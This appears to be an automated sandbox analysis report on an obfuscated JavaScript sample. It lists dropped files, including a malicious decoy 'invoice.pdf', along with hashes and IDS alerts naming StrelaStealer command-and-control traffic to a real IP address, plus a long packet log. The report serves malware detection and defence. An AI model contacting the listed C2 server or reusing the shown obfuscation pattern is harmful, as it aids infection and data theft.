Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\afdb331c-c59c-42fe-81ae-962c0d483189.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\ccf94a83-7cbd-4a81-9ea8-9f255f04a2fc.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\e89d2e85-8787-42fa-a80e-5d738214eba7.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/9wYIGNPQmeWL07oXGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:lwZG2XWLxXGZN3mlind9i4ufFXpAXkru
MD5:	CDB0A9F62FD4871F0603FBBF1FE6BD06
SHA1:	C972A2B8E6E7CD72A156C1EAB8F5F31E76A7DA24
SHA-256:	85BD3F2168D078DFF0ECEB670C3DC651E8797522C6A2921EC478EAD5A09E415F
SHA-512:	7FC3B110A45F9D518FEA45930B73F196FEE7DF472A17FB2CBB19A3BCBF5C78D439F68E2C615D8DACD5821EF60C1447112FB86431D768E28D9F08457563011F28
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17858), with CRLF line terminators
Entropy (8bit):	4.934761782283279
TrID:
File name:	26999259552055117101.js
File size:	21'461 bytes
MD5:	4f3483c2ec305112d187021f22226760
SHA1:	c2296e272f0fd6c5cb9a60cb16f678fbcb62abd0
SHA256:	46f2030f028043d008bdc58a4a8c1eb46128485b8a5b1c36d86c3bc00a5bae01
SHA512:	ea643945a1c6b82450e91b1dc98f567f2f7209d938405caaceda20721ac91942ad5e4a8120955df23b0283a89de25d3abaaedb2c7a166c77cfa0ec9b9bc22413
SSDEEP:	192:ixX2OeNYr5yYEI1eG6gqybazccobFVjfI3S+y4Cj5Wrzb/OjVDkfSAiAGgUdgNOg:FNE5y7I1eG6VzJcfI396cOjVA/iLgTF
TLSH:	85A28359C092DF64CCE041F60B4A2AE263D896CD0AD162FE3CAD58704B95BF27DD3A71
File Content Preview:	function wozqprijv(){zvutmr=[1031,3079,5127,4103,2055,3072];var ofexjo=this[hsyapaw+zsvgzlnk+egvghqt+wpiaddnqb+rxzcuyel+rzjvebb+zxjbrthi+oxqktbzoo](this[chugtwjni+toyzt+lzdyonx+egvghqt+zlgex+hsyapaw+oxqktbzoo][vjffu+egvghqt+rxzcuyel+zsvgzlnk+oxqktbzoo+rxz

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T04:19:44.223381+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.10	49722	193.143.1.205	80	TCP
2025-01-11T04:19:44.223381+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.10	49722	193.143.1.205	80	TCP
2025-01-11T04:19:46.622763+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.10	49738	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 04:19:43.407718897 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:43.412648916 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:43.412810087 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:43.416102886 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:43.420926094 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.223187923 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.223207951 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.223221064 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.223361969 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.223375082 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.223381042 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.223396063 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.223407984 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.223421097 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.223423004 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.223433018 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.223445892 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.223457098 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.223491907 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.223491907 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.228252888 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.277865887 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.277884007 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.277894974 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.277981997 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.278316021 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.348453999 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.348469973 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.348520994 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.348582983 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.348596096 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.348611116 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.348640919 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.348644018 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.348691940 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.349200964 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.349212885 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.349227905 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.349242926 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.349271059 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.349287033 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.349817991 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.349833012 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.349845886 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.349869013 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.349953890 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.349966049 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.350001097 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.350625992 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.350670099 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.350678921 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.350682974 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.350718021 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.350852013 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.350864887 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.350908995 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.351516962 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.366425037 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.366477013 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.366486073 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.366491079 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.366535902 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.445378065 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.445419073 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.445431948 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.445467949 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.473597050 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.473643064 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.473653078 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.473654985 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.473701954 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.473809958 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.473843098 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.473884106 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.473886967 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.473958969 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.473970890 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.473999023 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.474214077 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.474251986 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.474260092 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.474263906 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.474339008 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.474351883 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.474680901 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.474694014 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.474709988 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.474719048 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.474750042 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.474762917 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.474776030 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.474776983 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.474809885 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.475363016 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.475375891 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.475389957 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.475409985 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.475426912 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.475430012 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.475441933 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.475455046 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.475467920 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.475498915 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.475529909 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.476149082 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.476193905 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.476207972 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.476232052 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.476311922 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.476325035 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.476336956 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.476351023 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.476382017 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.476408958 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.477042913 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.477082968 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.477083921 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.477097988 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.477138042 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.477178097 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.477189064 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.477200985 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.477229118 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.477356911 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.477402925 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.477921963 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.477972984 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.477986097 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.478009939 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.478136063 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.478148937 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.478161097 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.478179932 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.478200912 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.534063101 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.534116983 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.534162045 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.570615053 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.570652962 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.570664883 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.570763111 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.570772886 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.570822001 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.570822954 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.570835114 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.570877075 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.599081039 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.599102974 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.599117041 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.599184990 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.599200010 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.599232912 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.599292040 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.599304914 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.599337101 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.599360943 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.599374056 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.599427938 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.599450111 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.599678993 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.599723101 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.599729061 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.599740982 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.599790096 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.599848032 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.599859953 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.599873066 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.599895954 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.600425959 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.600438118 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.600450993 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.600474119 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.600497961 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.600600004 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.600613117 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.600625038 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.600632906 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.600681067 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.601234913 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.601296902 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.601309061 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.601349115 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.601435900 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.601449013 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.601460934 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.601471901 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.601483107 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.601505041 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.602031946 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.602082968 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.602085114 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.602097034 CET	80	49722	193.143.1.205	192.168.2.10
